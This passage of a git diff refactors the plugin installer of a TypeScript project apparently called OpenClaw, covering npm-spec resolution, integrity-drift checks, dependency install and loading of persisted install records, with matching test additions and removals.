installPluginDirectoryIntoExtensions({ sourceDir: params.packageDir, - pluginId, - manifestName: pkgName || undefined, - version: typeof manifest.version === "string" ? manifest.version : undefined, - extensions, - targetDir: targetResult.target.targetPath, + pluginId: plugin.pluginId, + manifestName: plugin.manifestName, + version: plugin.version, + extensions: plugin.extensions, + targetDir: preparedTarget.targetPath, extensionsDir: params.extensionsDir, logger, timeoutMs, - mode: targetResult.target.effectiveMode, + mode: preparedTarget.effectiveMode, dryRun, copyErrorPrefix: "failed to copy plugin", - hasDeps: Object.keys(deps).length > 0, - depsLogMessage: "Installing plugin dependencies…", + hasDeps: + params.installDependencies === true && hasInstallablePackageDependencies(plugin.manifest), + depsLogMessage: "Installing plugin dependencies with npm…", nameEncoder: encodePluginInstallDirName, afterInstall: async (installedDir) => { - // Run the dependency-tree security scan BEFORE linking peer deps. - // The scan rejects any node_modules/ symlink whose target resolves - // outside the install root — a rule our trusted host-openclaw link - // would fail by design. Running the scan first also keeps the check - // honest against malicious plugins, because any pre-existing symlink - // smuggled in by the source would still be present when we walk. - const scanResult = await runInstallSourceScan({ - subject: `Plugin "${pluginId}"`, - scan: async () => - await runtime.scanInstalledPackageDependencyTree({ - logger, - packageDir: installedDir, - pluginId, - }), - }); - if (scanResult) { - return scanResult; - } - await linkOpenClawPeerDependencies({ + return await scanAndLinkInstalledPackage({ + runtime, installedDir, - peerDependencies: peerDeps, + pluginId: plugin.pluginId, + peerDependencies: plugin.peerDependencies, logger, }); - return null; }, }); } @@ -818,6 +955,7 @@ export async function installPluginFromArchive( dryRun: params.dryRun, expectedPluginId: params.expectedPluginId, requirePluginManifest: true, + installDependencies: true, installPolicyRequest, }), }), @@ -944,6 +1082,7 @@ export async function installPluginFromNpmSpec( params: InstallSafetyOverrides & { spec: string; extensionsDir?: string; + npmDir?: string; timeoutMs?: number; logger?: PluginInstallLogger; mode?: "install" | "update"; @@ -954,7 +1093,7 @@ export async function installPluginFromNpmSpec( }, ): Promise { const runtime = await loadPluginInstallRuntime(); - const { logger, timeoutMs, mode, dryRun } = runtime.resolveTimedInstallModeOptions( + const { logger, timeoutMs, dryRun } = runtime.resolveTimedInstallModeOptions( params, defaultLogger, ); @@ -969,41 +1108,114 @@ export async function installPluginFromNpmSpec( }; } - logger.info?.(`Downloading ${spec}…`); - const installPolicyRequest: PluginInstallPolicyRequest = { - kind: "plugin-npm", - requestedSpecifier: spec, - }; - const flowResult = await runtime.installFromNpmSpecArchiveWithInstaller({ - tempDirPrefix: "openclaw-npm-pack-", - spec, - timeoutMs, - expectedIntegrity: params.expectedIntegrity, - onIntegrityDrift: params.onIntegrityDrift, - warn: (message) => { - logger.warn?.(message); - }, - installFromArchive: installPluginFromArchive, - archiveInstallParams: { - dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, - extensionsDir: params.extensionsDir, - timeoutMs, - logger, - mode, - dryRun, - expectedPluginId, - installPolicyRequest, - }, - }); - const finalized = runtime.finalizeNpmSpecArchiveInstall(flowResult); - if (!finalized.ok && isNpmPackageNotFoundMessage(finalized.error)) { + const parsedSpec = parseRegistryNpmSpec(spec); + if (!parsedSpec) { return { ok: false, - error: finalized.error, - code: PLUGIN_INSTALL_ERROR_CODE.NPM_PACKAGE_NOT_FOUND, + error: "unsupported npm spec", + code: PLUGIN_INSTALL_ERROR_CODE.INVALID_NPM_SPEC, }; } - return finalized; + + const metadataResult = await resolveNpmSpecMetadata({ spec, timeoutMs }); + if (!metadataResult.ok) { + return { + ok: false, + error: metadataResult.error, + ...(isNpmPackageNotFoundMessage(metadataResult.error) + ? { code: PLUGIN_INSTALL_ERROR_CODE.NPM_PACKAGE_NOT_FOUND } + : {}), + }; + } + const npmResolution: NpmSpecResolution = { + ...metadataResult.metadata, + resolvedAt: new Date().toISOString(), + }; + if ( + npmResolution.version && + !isPrereleaseResolutionAllowed({ + spec: parsedSpec, + resolvedVersion: npmResolution.version, + }) + ) { + return { + ok: false, + error: formatPrereleaseResolutionError({ + spec: parsedSpec, + resolvedVersion: npmResolution.version, + }), + }; + } + const driftResult = await resolveNpmIntegrityDriftWithDefaultMessage({ + spec, + expectedIntegrity: params.expectedIntegrity, + resolution: npmResolution, + onIntegrityDrift: params.onIntegrityDrift, + warn: (message) => logger.warn?.(message), + }); + if (driftResult.error) { + return { ok: false, error: driftResult.error }; + } + + const npmRoot = params.npmDir ? resolveUserPath(params.npmDir) : resolveDefaultPluginNpmDir(); + const installRoot = path.join(npmRoot, "node_modules", parsedSpec.name); + if (dryRun) { + return { + ok: true, + pluginId: expectedPluginId ?? parsedSpec.name, + targetDir: installRoot, + extensions: [], + npmResolution, + ...(driftResult.integrityDrift ? { integrityDrift: driftResult.integrityDrift } : {}), + }; + } + + logger.info?.(`Installing ${spec} into ${npmRoot}…`); + await fs.mkdir(npmRoot, { recursive: true }); + const install = await runCommandWithTimeout( + [ + "npm", + ...createSafeNpmInstallArgs({ + omitDev: true, + loglevel: "error", + noAudit: true, + noFund: true, + }), + "--prefix", + npmRoot, + spec, + ], + { + timeoutMs: Math.max(timeoutMs, 300_000), + env: createSafeNpmInstallEnv(process.env, { packageLock: true, quiet: true }), + }, + ); + if (install.code !== 0) { + return { + ok: false, + error: `npm install failed: ${install.stderr.trim() || install.stdout.trim()}`, + }; + } + + const result = await installPluginFromInstalledPackageDir({ + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, + packageDir: installRoot, + dependencyTreeRootDir: npmRoot, + logger, + expectedPluginId, + installPolicyRequest: { + kind: "plugin-npm", + requestedSpecifier: spec, + }, + }); + if (!result.ok) { + return result; + } + return { + ...result, + npmResolution, + ...(driftResult.integrityDrift ? { integrityDrift: driftResult.integrityDrift } : {}), + }; } export async function installPluginFromPath( diff --git a/src/plugins/installed-plugin-index-registry.ts b/src/plugins/installed-plugin-index-registry.ts index 4a1fa832d78..bbc71e77ce6 100644 --- a/src/plugins/installed-plugin-index-registry.ts +++ b/src/plugins/installed-plugin-index-registry.ts @@ -1,5 +1,6 @@ import { normalizePluginsConfig } from "./config-state.js"; import { discoverOpenClawPlugins, type PluginCandidate } from "./discovery.js"; +import { loadInstalledPluginIndexInstallRecordsSync } from "./installed-plugin-index-record-reader.js"; import type { LoadInstalledPluginIndexParams } from "./installed-plugin-index-types.js"; import { loadPluginManifestRegistry, type PluginManifestRegistry } from "./manifest-registry.js"; @@ -22,10 +23,13 @@ export function resolveInstalledPluginIndexRegistry(params: LoadInstalledPluginI } const normalized = normalizePluginsConfig(params.config?.plugins); + const installRecords = + params.installRecords ?? loadInstalledPluginIndexInstallRecordsSync({ env: params.env }); const discovery = discoverOpenClawPlugins({ workspaceDir: params.workspaceDir, extraPaths: normalized.loadPaths, env: params.env, + installRecords, }); return { candidates: discovery.candidates, @@ -35,7 +39,7 @@ export function resolveInstalledPluginIndexRegistry(params: LoadInstalledPluginI env: params.env, candidates: discovery.candidates, diagnostics: discovery.diagnostics, - installRecords: params.installRecords, + installRecords, }), }; } diff --git a/src/plugins/installed-plugin-index.test.ts b/src/plugins/installed-plugin-index.test.ts index 7d10e70f4ea..36f1d4ef91b 100644 --- a/src/plugins/installed-plugin-index.test.ts +++ b/src/plugins/installed-plugin-index.test.ts @@ -791,6 +791,45 @@ describe("installed plugin index", () => { }); }); + it("discovers installed plugin packages from persisted install records", async () => { + const fixture = createRichPluginFixture(); + const stateDir = makeTempDir(); + await writePersistedInstalledPluginIndexInstallRecords( + { + demo: { + source: "git", + spec: "git:file:///tmp/demo.git@abc123", + installPath: fixture.rootDir, + gitUrl: "file:///tmp/demo.git", + gitCommit: "abc123", + }, + }, + { stateDir }, + ); + + const index = loadInstalledPluginIndex({ + env: hermeticEnv({ + OPENCLAW_DISABLE_BUNDLED_PLUGINS: "1", + OPENCLAW_STATE_DIR: stateDir, + }), + }); + + expect(index.plugins).toHaveLength(1); + expect(index.plugins[0]).toMatchObject({ + pluginId: "demo", + origin: "global", + rootDir: fs.realpathSync.native(fixture.rootDir), + installRecordHash: expect.stringMatching(/^[a-f0-9]{64}$/u), + }); + expect(index.installRecords).toMatchObject({ + demo: { + source: "git", + installPath: fixture.rootDir, + gitCommit: "abc123", + }, + }); + }); + it("indexes local fallback plugin index records written before a process reload", () => { const fixture = createRichPluginFixture(); const cfg = recordPluginInstall( diff --git a/src/plugins/installed-plugin-index.ts b/src/plugins/installed-plugin-index.ts index 6cb0a7ad5d9..b2545c9b9f0 100644 --- a/src/plugins/installed-plugin-index.ts +++ b/src/plugins/installed-plugin-index.ts @@ -7,6 +7,7 @@ import { resolveInstalledPluginIndexPolicyHash, } from "./installed-plugin-index-policy.js"; import { buildInstalledPluginIndexRecords } from "./installed-plugin-index-record-builder.js"; +import { loadInstalledPluginIndexInstallRecordsSync } from "./installed-plugin-index-record-reader.js"; import { resolveInstalledPluginIndexRegistry } from "./installed-plugin-index-registry.js"; import { INSTALLED_PLUGIN_INDEX_MIGRATION_VERSION, @@ -46,7 +47,14 @@ function buildInstalledPluginIndex( const registryDiagnostics = registry.diagnostics ?? []; const diagnostics = [...registryDiagnostics]; const generatedAtMs = (params.now?.() ?? new Date()).getTime(); - const installRecords = normalizeInstallRecordMap(params.installRecords); + const installRecords = normalizeInstallRecordMap( + params.installRecords ?? + loadInstalledPluginIndexInstallRecordsSync({ + env, + ...(params.stateDir ? { stateDir: params.stateDir } : {}), + ...(params.pluginIndexFilePath ? { filePath: params.pluginIndexFilePath } : {}), + }), + ); const plugins = buildInstalledPluginIndexRecords({ candidates, registry, diff --git a/src/plugins/loader.test-fixtures.ts b/src/plugins/loader.test-fixtures.ts index ab34a67f8fe..6d27b9a31cb 100644 --- a/src/plugins/loader.test-fixtures.ts +++ b/src/plugins/loader.test-fixtures.ts @@ -32,7 +32,6 @@ const fixtureRoot = mkdtempSafe(path.join(os.tmpdir(), "openclaw-plugin-")); let tempDirIndex = 0; const prevBundledDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; const prevDisableBundledPlugins = process.env.OPENCLAW_DISABLE_BUNDLED_PLUGINS; -const prevPluginStageDir = process.env.OPENCLAW_PLUGIN_STAGE_DIR; export const EMPTY_PLUGIN_SCHEMA = { type: "object", @@ -151,11 +150,6 @@ export function resetPluginLoaderTestStateForTest() { } else { process.env.OPENCLAW_DISABLE_BUNDLED_PLUGINS = prevDisableBundledPlugins; } - if (prevPluginStageDir === undefined) { - delete process.env.OPENCLAW_PLUGIN_STAGE_DIR; - } else { - process.env.OPENCLAW_PLUGIN_STAGE_DIR = prevPluginStageDir; - } } export function cleanupPluginLoaderFixturesForTest() { diff --git a/src/plugins/loader.test.ts b/src/plugins/loader.test.ts index dc949126235..dc40f6aa9ca 100644 --- a/src/plugins/loader.test.ts +++ b/src/plugins/loader.test.ts @@ -22,12 +22,6 @@ import { type DetachedTaskLifecycleRuntime, } from "../tasks/detached-task-runtime-state.js"; import { withEnv } from "../test-utils/env.js"; -import type { BundledRuntimeDepsInstallParams } from "./bundled-runtime-deps-install.js"; -import { - resolveBundledRuntimeDependencyInstallRootPlan, - resolveBundledRuntimeDependencyPackageInstallRoot, -} from "./bundled-runtime-deps-roots.js"; -import { ensureOpenClawPluginSdkAlias } from "./bundled-runtime-root.js"; import { clearPluginCommands } from "./command-registry-state.js"; import { getPluginCommandSpecs } from "./command-specs.js"; import { listCompactionProviderIds } from "./compaction-provider.js"; @@ -86,6 +80,7 @@ import { registerMemoryRuntime, resolveMemoryFlushPlan, } from "./memory-state.js"; +import { ensureOpenClawPluginSdkAlias } from "./plugin-sdk-dist-alias.js"; import { createEmptyPluginRegistry } from "./registry.js"; import { getActivePluginRegistry, @@ -98,10 +93,6 @@ import { ensurePluginRegistryLoaded, } from "./runtime/runtime-registry-loader.js"; import type { PluginSdkResolutionPreference } from "./sdk-alias.js"; -import { - writeGeneratedRuntimeDepsManifest, - writeInstalledRuntimeDepPackage, -} from "./test-helpers/bundled-runtime-deps-fixtures.js"; let cachedBundledTelegramDir = ""; let cachedBundledMemoryDir = ""; @@ -125,14 +116,6 @@ function createDetachedTaskRuntimeStub(id: string): DetachedTaskLifecycleRuntime }; } -function realpathOrResolveForTest(value: string): string { - try { - return fs.realpathSync.native(value); - } catch { - return path.resolve(value); - } -} - const BUNDLED_TELEGRAM_PLUGIN_BODY = `module.exports = { id: "telegram", register(api) { @@ -169,59 +152,6 @@ const RESERVED_ADMIN_PLUGIN_METHOD = "config.plugin.inspect"; const RESERVED_ADMIN_SCOPE_WARNING = "gateway method scope coerced to operator.admin for reserved core namespace"; -async function waitForFilesystemTimestampTick(): Promise { - await new Promise((resolve) => setTimeout(resolve, 50)); -} - -function isPathInsideRoot(candidate: string, root: string): boolean { - const relative = path.relative(root, candidate); - return relative === "" || (!relative.startsWith("..") && !path.isAbsolute(relative)); -} - -function isBigIntStatOptions(options: unknown): boolean { - return Boolean( - options && typeof options === "object" && "bigint" in options && options.bigint === true, - ); -} - -function snapshotRuntimeMirrorTree(root: string): Record { - const snapshot: Record = {}; - const visit = (directory: string) => { - for (const entry of fs - .readdirSync(directory, { withFileTypes: true }) - .toSorted((left, right) => left.name.localeCompare(right.name))) { - const entryPath = path.join(directory, entry.name); - const relativePath = path.relative(root, entryPath).replaceAll(path.sep, "/"); - const stat = fs.lstatSync(entryPath); - if (entry.isDirectory()) { - snapshot[relativePath] = { - kind: "directory", - mtimeMs: stat.mtimeMs, - }; - visit(entryPath); - continue; - } - if (entry.isSymbolicLink()) { - snapshot[relativePath] = { - kind: "symlink", - link: fs.readlinkSync(entryPath), - mtimeMs: stat.mtimeMs, - }; - continue; - } - if (entry.isFile()) { - snapshot[relativePath] = { - kind: "file", - mtimeMs: stat.mtimeMs, - size: stat.size, - }; - } - } - }; - visit(root); - return snapshot; -} - function writeBundledPlugin(params: { id: string; body?: string; @@ -954,6 +884,46 @@ describe("loadOpenClawPlugins", () => { expect(registry.plugins.find((entry) => entry.id === plugin.id)?.status).toBe("loaded"); }); + it("loads installed plugin packages discovered from persisted install records", () => { + useNoBundledPlugins(); + const stateDir = makeTempDir(); + const plugin = writePlugin({ + id: "installed-record-plugin", + body: `module.exports = { id: "installed-record-plugin", register() {} };`, + }); + writePersistedInstalledPluginIndexInstallRecordsSync( + { + [plugin.id]: { + source: "git", + spec: "git:file:///tmp/installed-record-plugin.git@abc123", + installPath: plugin.dir, + gitUrl: "file:///tmp/installed-record-plugin.git", + gitCommit: "abc123", + }, + }, + { stateDir }, + ); + + const registry = withEnv({ OPENCLAW_STATE_DIR: stateDir }, () => + loadOpenClawPlugins({ + cache: false, + config: { + plugins: { + entries: { + [plugin.id]: { enabled: true }, + }, + }, + }, + }), + ); + + expect(registry.plugins.find((entry) => entry.id === plugin.id)).toMatchObject({ + id: plugin.id, + status: "loaded", + rootDir: fs.realpathSync.native(plugin.dir), + }); + }); + it("refreshes bundled plugin-sdk aliases without deleting the shared alias directory", () => { const distRoot = makeTempDir(); const pluginSdkDir = path.join(distRoot, "plugin-sdk"); @@ -994,1199 +964,6 @@ describe("loadOpenClawPlugins", () => { const bundled = registry.plugins.find((entry) => entry.id === "bundled"); expect(bundled?.status).toBe("disabled"); }); - - it("repairs enabled bundled plugin runtime deps before importing the plugin", () => { - const bundledDir = makeTempDir(); - const plugin = writePlugin({ - id: "discord", - dir: path.join(bundledDir, "discord"), - filename: "index.cjs", - body: `const dep = require("discord-runtime/package.json"); -module.exports = { - id: "discord", - register() { - if (dep.name !== "discord-runtime") { - throw new Error("missing runtime dep"); - } - }, -};`, - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - fs.writeFileSync( - path.join(plugin.dir, "package.json"), - JSON.stringify( - { - name: "@openclaw/discord", - version: "1.0.0", - dependencies: { - "discord-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.cjs"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "openclaw.plugin.json"), - JSON.stringify( - { - id: "discord", - channels: ["discord"], - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - const installedSpecs: string[] = []; - const logger = { - info: vi.fn(), - warn: vi.fn(), - error: vi.fn(), - debug: vi.fn(), - }; - - const registry = loadOpenClawPlugins({ - cache: false, - logger, - config: { - plugins: { - enabled: true, - }, - channels: { - discord: { - enabled: true, - }, - }, - }, - bundledRuntimeDepsInstaller: ({ installRoot, missingSpecs }) => { - expect(logger.info).toHaveBeenCalledWith( - "[plugins] discord staging bundled runtime deps (1 specs): discord-runtime@1.0.0", - ); - installedSpecs.push(...missingSpecs); - expect(fs.realpathSync(installRoot)).toBe(fs.realpathSync(plugin.dir)); - fs.mkdirSync(path.join(installRoot, "node_modules", "discord-runtime"), { - recursive: true, - }); - fs.writeFileSync( - path.join(installRoot, "node_modules", "discord-runtime", "package.json"), - JSON.stringify({ name: "discord-runtime", version: "1.0.0" }), - "utf-8", - ); - }, - }); - - expect(installedSpecs).toEqual(["discord-runtime@1.0.0"]); - expect(registry.plugins.find((entry) => entry.id === "discord")?.status).toBe("loaded"); - expect(logger.info).toHaveBeenCalledWith( - expect.stringMatching( - /^\[plugins\] discord installed bundled runtime deps in \d+ms: discord-runtime@1\.0\.0$/u, - ), - ); - }); - - it("keeps bundled runtime dep install logs off non-activating loads", () => { - const bundledDir = makeTempDir(); - const plugin = writePlugin({ - id: "discord", - dir: path.join(bundledDir, "discord"), - filename: "index.cjs", - body: `module.exports = { id: "discord", register() {} };`, - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - fs.writeFileSync( - path.join(plugin.dir, "package.json"), - JSON.stringify( - { - name: "@openclaw/discord", - version: "1.0.0", - dependencies: { - "discord-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.cjs"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "openclaw.plugin.json"), - JSON.stringify( - { - id: "discord", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - const logger = { - info: vi.fn(), - warn: vi.fn(), - error: vi.fn(), - debug: vi.fn(), - }; - - const registry = loadOpenClawPlugins({ - cache: false, - activate: false, - logger, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: ({ installRoot }) => { - fs.mkdirSync(path.join(installRoot, "node_modules", "discord-runtime"), { - recursive: true, - }); - fs.writeFileSync( - path.join(installRoot, "node_modules", "discord-runtime", "package.json"), - JSON.stringify({ name: "discord-runtime", version: "1.0.0" }), - "utf-8", - ); - }, - }); - - expect(registry.plugins.find((entry) => entry.id === "discord")?.status).toBe("loaded"); - expect(logger.info).not.toHaveBeenCalledWith( - "[plugins] discord installed bundled runtime deps: discord-runtime@1.0.0", - ); - expect(logger.info).not.toHaveBeenCalledWith( - "[plugins] discord staging bundled runtime deps (1 specs): discord-runtime@1.0.0", - ); - }); - - it("does not repair disabled bundled plugin runtime deps", () => { - const bundledDir = makeTempDir(); - const plugin = writePlugin({ - id: "discord", - dir: path.join(bundledDir, "discord"), - filename: "index.cjs", - body: `module.exports = { id: "discord", register() {} };`, - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - fs.writeFileSync( - path.join(plugin.dir, "package.json"), - JSON.stringify( - { - name: "@openclaw/discord", - version: "1.0.0", - dependencies: { - "discord-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.cjs"] }, - }, - null, - 2, - ), - "utf-8", - ); - - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: () => { - throw new Error("disabled plugin deps should not install"); - }, - }); - - expect(registry.plugins.find((entry) => entry.id === "discord")?.status).toBe("disabled"); - }); - - it("does not repair disabled selected setup-only channel runtime deps", () => { - const bundledDir = makeTempDir(); - const plugin = writePlugin({ - id: "feishu", - dir: path.join(bundledDir, "feishu"), - filename: "index.cjs", - body: `module.exports = { id: "feishu", register() {} };`, - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - fs.writeFileSync( - path.join(plugin.dir, "package.json"), - JSON.stringify( - { - name: "@openclaw/feishu", - version: "1.0.0", - dependencies: { - "feishu-runtime": "1.0.0", - }, - openclaw: { - extensions: ["./index.cjs"], - setupEntry: "./setup-entry.cjs", - }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "openclaw.plugin.json"), - JSON.stringify( - { - id: "feishu", - configSchema: EMPTY_PLUGIN_SCHEMA, - channels: ["feishu"], - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "setup-entry.cjs"), - ` -module.exports = { - plugin: { - id: "feishu", - meta: { - id: "feishu", - label: "Feishu", - selectionLabel: "Feishu", - docsPath: "/channels/feishu", - blurb: "setup only", - }, - capabilities: { chatTypes: ["direct"] }, - config: { - listAccountIds: () => [], - resolveAccount: () => ({ accountId: "default" }), - }, - }, -}; -`, - "utf-8", - ); - - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - entries: { - feishu: { enabled: false }, - }, - }, - }, - includeSetupOnlyChannelPlugins: true, - onlyPluginIds: ["feishu"], - bundledRuntimeDepsInstaller: () => { - throw new Error("disabled setup-only deps should not install"); - }, - }); - - expect(registry.channelSetups[0]?.plugin.meta.label).toBe("Feishu"); - expect(registry.plugins.find((entry) => entry.id === "feishu")?.status).toBe("disabled"); - }); - - it("repairs enabled selected setup-only channel runtime deps before loading setup entry", () => { - const bundledDir = makeTempDir(); - const plugin = writePlugin({ - id: "feishu", - dir: path.join(bundledDir, "feishu"), - filename: "index.cjs", - body: `module.exports = { id: "feishu", register() {} };`, - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - fs.writeFileSync( - path.join(plugin.dir, "package.json"), - JSON.stringify( - { - name: "@openclaw/feishu", - version: "1.0.0", - dependencies: { - "feishu-runtime": "1.0.0", - }, - openclaw: { - extensions: ["./index.cjs"], - setupEntry: "./setup-entry.cjs", - }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "openclaw.plugin.json"), - JSON.stringify( - { - id: "feishu", - configSchema: EMPTY_PLUGIN_SCHEMA, - channels: ["feishu"], - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "setup-entry.cjs"), - ` -const runtime = require("feishu-runtime"); -module.exports = { - plugin: { - id: "feishu", - meta: { - id: "feishu", - label: runtime.label, - selectionLabel: runtime.label, - docsPath: "/channels/feishu", - blurb: "setup only", - }, - capabilities: { chatTypes: ["direct"] }, - config: { - listAccountIds: () => [], - resolveAccount: () => ({ accountId: "default" }), - }, - }, -}; -`, - "utf-8", - ); - const installedSpecs: string[] = []; - - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - entries: { - feishu: { enabled: true }, - }, - }, - }, - includeSetupOnlyChannelPlugins: true, - onlyPluginIds: ["feishu"], - bundledRuntimeDepsInstaller: ({ installRoot, missingSpecs }) => { - installedSpecs.push(...missingSpecs); - const depRoot = path.join(installRoot, "node_modules", "feishu-runtime"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ name: "feishu-runtime", version: "1.0.0", main: "index.cjs" }), - "utf-8", - ); - fs.writeFileSync( - path.join(depRoot, "index.cjs"), - "module.exports = { label: 'Feishu Runtime Ready' };\n", - "utf-8", - ); - }, - }); - - expect(installedSpecs).toEqual(["feishu-runtime@1.0.0"]); - expect(registry.channelSetups[0]?.plugin.meta.label).toBe("Feishu Runtime Ready"); - expect(registry.plugins.find((entry) => entry.id === "feishu")?.status).toBe("loaded"); - }); - - it("repairs default-enabled bundled plugin runtime deps", () => { - const bundledDir = makeTempDir(); - const plugin = writePlugin({ - id: "openai", - dir: path.join(bundledDir, "openai"), - filename: "index.cjs", - body: `module.exports = { id: "openai", register() {} };`, - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - fs.writeFileSync( - path.join(plugin.dir, "package.json"), - JSON.stringify( - { - name: "@openclaw/openai", - version: "1.0.0", - dependencies: { - "openai-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.cjs"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "openclaw.plugin.json"), - JSON.stringify( - { - id: "openai", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - const installedSpecs: string[] = []; - - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: ({ missingSpecs }) => { - installedSpecs.push(...missingSpecs); - }, - }); - - expect(installedSpecs).toEqual(["openai-runtime@1.0.0"]); - expect(registry.plugins.find((entry) => entry.id === "openai")?.status).toBe("loaded"); - }); - - it("installs bundled runtime deps into each plugin root", () => { - const bundledDir = makeTempDir(); - const alpha = writePlugin({ - id: "alpha", - dir: path.join(bundledDir, "alpha"), - filename: "index.cjs", - body: `module.exports = { id: "alpha", register() {} };`, - }); - const beta = writePlugin({ - id: "beta", - dir: path.join(bundledDir, "beta"), - filename: "index.cjs", - body: `module.exports = { id: "beta", register() {} };`, - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - for (const [plugin, depName] of [ - [alpha, "alpha-runtime"], - [beta, "beta-runtime"], - ] as const) { - fs.writeFileSync( - path.join(plugin.dir, "package.json"), - JSON.stringify( - { - name: `@openclaw/${plugin.id}`, - version: "1.0.0", - dependencies: { - [depName]: "1.0.0", - }, - openclaw: { extensions: ["./index.cjs"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "openclaw.plugin.json"), - JSON.stringify( - { - id: plugin.id, - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - } - const calls: Array<{ missingSpecs: string[]; installSpecs: string[] | undefined }> = []; - - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: ({ installRoot, missingSpecs, installSpecs }) => { - calls.push({ missingSpecs, installSpecs }); - for (const spec of installSpecs ?? missingSpecs) { - const name = spec.split("@")[0] || spec; - fs.mkdirSync(path.join(installRoot, "node_modules", name), { recursive: true }); - fs.writeFileSync( - path.join(installRoot, "node_modules", name, "package.json"), - JSON.stringify({ name, version: "1.0.0" }), - "utf-8", - ); - } - }, - }); - - expect(registry.plugins.map((entry) => entry.id)).toEqual(["alpha", "beta"]); - expect(calls).toEqual([ - { - missingSpecs: ["alpha-runtime@1.0.0"], - installSpecs: ["alpha-runtime@1.0.0"], - }, - { - missingSpecs: ["beta-runtime@1.0.0"], - installSpecs: ["beta-runtime@1.0.0"], - }, - ]); - }); - - it("loads bundled runtime deps from an external stage dir", () => { - const bundledDir = makeTempDir(); - const stageDir = makeTempDir(); - const plugin = writePlugin({ - id: "alpha", - dir: path.join(bundledDir, "alpha"), - filename: "index.cjs", - body: ` - const runtimeDep = require("external-runtime"); - module.exports = { - id: "alpha", - register(api) { - api.registerCommand({ name: "external-runtime", handler: () => runtimeDep.marker }); - } - }; - `, - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - process.env.OPENCLAW_PLUGIN_STAGE_DIR = stageDir; - fs.writeFileSync( - path.join(plugin.dir, "package.json"), - JSON.stringify( - { - name: "@openclaw/alpha", - version: "1.0.0", - dependencies: { - "external-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.cjs"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "openclaw.plugin.json"), - JSON.stringify( - { - id: "alpha", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: ({ installRoot }) => { - const depRoot = path.join(installRoot, "node_modules", "external-runtime"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ name: "external-runtime", version: "1.0.0", main: "index.cjs" }), - "utf-8", - ); - fs.writeFileSync( - path.join(depRoot, "index.cjs"), - "module.exports = { marker: 'external-ok' };\n", - "utf-8", - ); - }, - }); - - expect(registry.plugins.find((entry) => entry.id === "alpha")?.status).toBe("loaded"); - }); - - it("does not reuse cached bundled runtime deps after an in-place package version upgrade", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - const markerDir = makeTempDir(); - const markerPath = path.join(markerDir, "browser-runtime-marker.json"); - const bundledDir = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(bundledDir, "browser"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/browser", - version: "1.0.0", - dependencies: { - "browser-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.cjs"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "openclaw.plugin.json"), - JSON.stringify( - { - id: "browser", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - - const env = { - ...process.env, - OPENCLAW_BUNDLED_PLUGINS_DIR: bundledDir, - OPENCLAW_PLUGIN_STAGE_DIR: stageDir, - OPENCLAW_TEST_TRUST_BUNDLED_PLUGINS_DIR: "1", - 